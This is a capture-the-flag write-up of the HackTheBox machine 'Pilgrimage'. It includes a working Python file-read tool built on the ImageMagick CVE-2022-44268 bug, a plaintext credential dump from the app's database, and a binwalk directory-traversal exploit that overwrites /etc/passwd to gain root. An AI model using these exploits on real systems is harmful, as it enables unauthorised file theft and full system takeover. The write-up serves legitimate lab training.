Pilgrimage Writeup
25 November 2023 #CTF #HTB #box #easy #linuxEnumeration
nmap
$ sudo nmap -sC -sV pilgrimage.htb
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
| 256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_ 256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open http nginx 1.18.0
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: nginx/1.18.0
|_http-title: Pilgrimage - Shrink Your Images
| http-git:
| 10.129.27.189:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Pilgrimage image shrinking service initial commit. # Please ...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
Note that nmap
will find the git repo only if you previously added pilgrimage.htb
to your /etc/hosts
.
HTTP
We can use a tool like git-dumper to basically "clone" the repo:
$ git-dumper http://pilgrimage.htb/.git web-src
[...]
There isn't much inside this repo, only a .git
directory:
$ cd web-src/
$ ls -Alh
total 4.0K
drwxr-xr-x 7 yep yep 4.0K Nov 25 13:04 .git
It turns out that all files were deleted:
$ git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: assets/bulletproof.php
deleted: assets/css/animate.css
deleted: assets/css/custom.css
deleted: assets/css/flex-slider.css
deleted: assets/css/fontawesome.css
deleted: assets/css/owl.css
deleted: assets/css/templatemo-woox-travel.css
deleted: assets/images/banner-04.jpg
deleted: assets/images/cta-bg.jpg
deleted: assets/js/custom.js
deleted: assets/js/isotope.js
deleted: assets/js/isotope.min.js
deleted: assets/js/owl-carousel.js
deleted: assets/js/popup.js
deleted: assets/js/tabs.js
deleted: assets/webfonts/fa-brands-400.ttf
deleted: assets/webfonts/fa-brands-400.woff2
deleted: assets/webfonts/fa-regular-400.ttf
deleted: assets/webfonts/fa-regular-400.woff2
deleted: assets/webfonts/fa-solid-900.ttf
deleted: assets/webfonts/fa-solid-900.woff2
deleted: assets/webfonts/fa-v4compatibility.ttf
deleted: assets/webfonts/fa-v4compatibility.woff2
deleted: dashboard.php
deleted: index.php
deleted: login.php
deleted: logout.php
deleted: magick
deleted: register.php
deleted: vendor/bootstrap/css/bootstrap.min.css
deleted: vendor/bootstrap/js/bootstrap.min.js
deleted: vendor/jquery/jquery.js
deleted: vendor/jquery/jquery.min.js
deleted: vendor/jquery/jquery.min.map
deleted: vendor/jquery/jquery.slim.js
deleted: vendor/jquery/jquery.slim.min.js
deleted: vendor/jquery/jquery.slim.min.map
no changes added to commit (use "git add" and/or "git commit -a")
We can use git restore .
to get back all files that were deleted.
This repo looks like the webroot of the application listening on port 80. There is an odd magick
file, let's download it (I couldn't retrieve it with git restore .
for some reason):
$ wget http://pilgrimage.htb/magick
[...]
$ file magick
magick: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9fdbc145689e0fb79cb7291203431012ae8e1911, stripped
This is an executable file for Linux, let's throw it in Virustotal to see if it is known:
Apparently, this is an AppImage (file format to distribute portable applications) version of the ImageMagick tool
$ ./magick --version
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5)
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)
This particular version of ImageMagick has a file disclosure vulnerability
Foothold
The application is using this magick
binary to shrink the size of images users upload (in index.php
from the git repo):
<?php
[...]
exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
[...]
The exploit involves adding a profile
field in the metadata of a PNG image and set it to the filename we want to read.
We'll use this poc to generate malicious files:
$ ./cve-2022-44268 /etc/passwd
$ exiftool image.png
[...]
Profile : /etc/passwd
[...]
After uploading the image to the application, we get a link to download it:
$ wget http://pilgrimage.htb/shrunk/6561f78d14195.png
[...]
$ identify -verbose 6561f78d14195.png
[...]
Raw profile type:
1437
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d
6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f
6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e
2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f736269
[...]
If we hex decode this blob, we get the /etc/passwd
of the remote box.
Since the process of reading files is pretty cumbersome, i wrote a python helper script to read files interactively:
#!/usr/bin/env python3
import requests
from subprocess import run, PIPE
from cmd import Cmd
from urllib.parse import urlparse, parse_qs
from typing import Union
from pathlib import Path
URL = "http://pilgrimage.htb/"
session = requests.Session()
#session.proxies.update({ "http": "http://127.0.0.1:8080" })
class Term(Cmd):
prompt = ">_ "
def default(self, filename: str):
img_url = self.upload_image(filename)
if img_url:
self.download_shrinked_image(img_url)
file_contents = self.parse_image()
print(file_contents.decode())
self.cleanup()
def do_save(self, filename: str):
img_url = self.upload_image(filename)
if img_url:
self.download_shrinked_image(img_url)
file_contents = self.parse_image()
self.save_file(filename, file_contents)
self.cleanup()
def upload_image(self, filename: str) -> Union[str, None]:
run(f"./cve-2022-44268 {filename}", shell=True)
with open("image.png", "rb") as image:
file = { "toConvert": image }
res = session.post(URL, files=file, allow_redirects=False)
if "Location" in res.headers:
url = urlparse(res.headers["Location"])
query = parse_qs(url.query)
return query["message"][0]
def download_shrinked_image(self, url: str):
res = session.get(url)
with open("output.png", "wb") as output_image:
output_image.write(res.content)
def parse_image(self) -> bytes:
hex_output = run("identify -verbose output.png | grep '^[[:xdigit:]]'", shell=True, stdout=PIPE).stdout.decode()
return bytes.fromhex(hex_output).rstrip()
def save_file(self, filename: str, file_contents: bytes):
Path("./downloaded_files").mkdir(exist_ok=True)
filename = filename[1:].replace("/", "_")
with open("./downloaded_files/" + filename, "wb") as outfile:
outfile.write(file_contents)
def cleanup(self):
Path("./image.png").unlink(missing_ok=True)
Path("./output.png").unlink(missing_ok=True)
def do_EOF(self, _):
raise KeyboardInterrupt
term = Term()
try:
term.cmdloop()
except KeyboardInterrupt:
session.close()
print("")
It's using the cmd
standard module to provide a shell-like interface to read files:
$ python getfile.py
>_ /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
[...]
Since we have the source code the application, we know that user accounts are stored in a sqlite database, located at /var/db/pilgrimage
:
<?php
// index.php
[...]
$db = new PDO('sqlite:/var/db/pilgrimage');
[...]
The python script has a save
command to save the supplied file in a directory called downloaded_files
. After downloading it, we can dump the DB:
$ sqlite3 downloaded_files/var_db_pilgrimage .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE users (username TEXT PRIMARY KEY NOT NULL, password TEXT NOT NULL);
INSERT INTO users VALUES('emily','abigchonkyboi123');
CREATE TABLE images (url TEXT PRIMARY KEY NOT NULL, original TEXT NOT NULL, username TEXT NOT NULL);
COMMIT;
We can use these creds to login as emily (also found in /etc/passwd
) via SSH:
$ ssh emily@pilgrimage.htb
[...]
emily@pilgrimage:~$ id
uid=1000(emily) gid=1000(emily) groups=1000(emily)
Privesc
There is a custom bash script running as root:
emily@pilgrimage:~$ ps -ef --forest
[...]
root 626 1 0 Nov25 ? 00:00:00 /bin/bash /usr/sbin/malwarescan.sh
[...]
Here is the bash script:
#!/bin/bash
blacklist=("Executable script" "Microsoft executable")
/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
binout="$(/usr/local/bin/binwalk -e "$filename")"
for banned in "${blacklist[@]}"; do
if [[ "$binout" == *"$banned"* ]]; then
/usr/bin/rm "$filename"
break
fi
done
done
The inotifywait
command will watch the /var/www/pilgrimage.htb/shrunk
directory and execute binwalk
on newly created files.
This is how to get the version of binwalk
:
emily@pilgrimage:~$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from importlib import metadata
>>> metadata.version("binwalk")
'2.3.2'
Weird, i know but this is how binwalk
does it...
This version of binwalk
is vulnerable to a directory traversal within the PFS filesystem extractor. This allows us to write arbitrary files anywhere we want (the script is running as root).
I wrote an exploit script based on this poc that will overwrite the /etc/passwd
file to remove the password of the root user, allowing anyone to become root with a simple su -l
:
#!/usr/bin/env python3
from pathlib import Path
outfile = b"../../../../../../../../../../etc/passwd".hex()
header_pfs = bytes.fromhex(f"5046532f302e39000000000000000100{outfile}0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034120000a0000000c100002e")
# remove password for the root user
passwd = b"""\
root::0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
emily:x:1000:1000:emily,,,:/home/emily:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
"""
filename = "/var/www/pilgrimage.htb/shrunk/malwarexd"
Path(filename).unlink(missing_ok=True)
with open(filename, "wb") as f:
f.write(header_pfs)
f.write(passwd)
Let's see it in action:
emily@pilgrimage:~$ head -1 /etc/passwd
root:x:0:0:root:/root:/bin/bash
emily@pilgrimage:~$ ./binwalk-rce.py
emily@pilgrimage:~$ head /etc/passwd
root::0:0:root:/root:/bin/bash
emily@pilgrimage:~$ su -l
root@pilgrimage:~# id
uid=0(root) gid=0(root) groups=0(root)
This is of course not the stealthiest method to get root and you should definitely revert the change by editing /etc/passwd
and putting back the x
between the first 2 columns to avoid giving root shells to everybody (:
Key Takeaways
- Add hostnames in
/etc/hosts
before runningnmap
for better results - It's fun to write python scripts